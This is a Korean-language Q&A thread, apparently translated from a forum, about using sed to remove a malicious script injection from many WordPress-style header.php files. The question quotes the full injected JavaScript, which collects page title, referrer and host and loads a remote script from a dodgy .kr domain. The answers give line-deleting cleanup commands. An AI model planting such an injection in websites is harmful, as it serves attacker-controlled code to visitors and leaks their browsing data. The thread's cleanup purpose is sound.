sed를 사용하여 텍스트 파일에서 스크립트 태그를 제거하는 방법

sed를 사용하여 텍스트 파일에서 스크립트 태그를 제거하는 방법

악성 스크립트 태그가 포함된 header.php 파일이 많이 있습니다(묻지 마세요). 공백으로 대체하기 위해 덜 우아한 쉘 스크립트를 작성했습니다. 처음에는 header.php에서 페이로드를 빼려고 시도했지만 파일이 정렬된 목록이 아니기 때문에 불가능해 보였습니다. 아래는 내 코드입니다.

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

문제는 이 코드가 오류: sed: -e expression #1, char 578: unterminateds'command`로 인해 실행되지 않는다는 것입니다. 내 가설은 이 문제를 일으키는 이스케이프되지 않은 문자가 있다는 것입니다. <> 및 {}를 모두 이스케이프 처리해 보았지만 도움이 되지 않는 것 같습니다(위의 <>는 여전히 이스케이프되어 있습니다).

문자열이 포함된 파일을 sed에 입력하는 방법이 있다면 sed -i 's/$payload/ /g'아직 알아내지 못한 것 같습니다.

답변1

답변에서 알 수 있듯이 페이로드 자체가 한 줄에 있으면 변경된 파일의 백업을 생성하는 동안 다음과 같은 작업이 수행됩니다.

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

"someplacedodgy" 문자열이 페이로드 라인에 대해 고유한지 확인하세요.

백업을 건너뛰려면 -i.bak에서 .bak를 생략하세요.

답변2

문자열 자체가 한 줄에 포함되어 있으므로 이 문제에 대한 더 간단한 해결책을 찾았습니다.

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader

관련 정보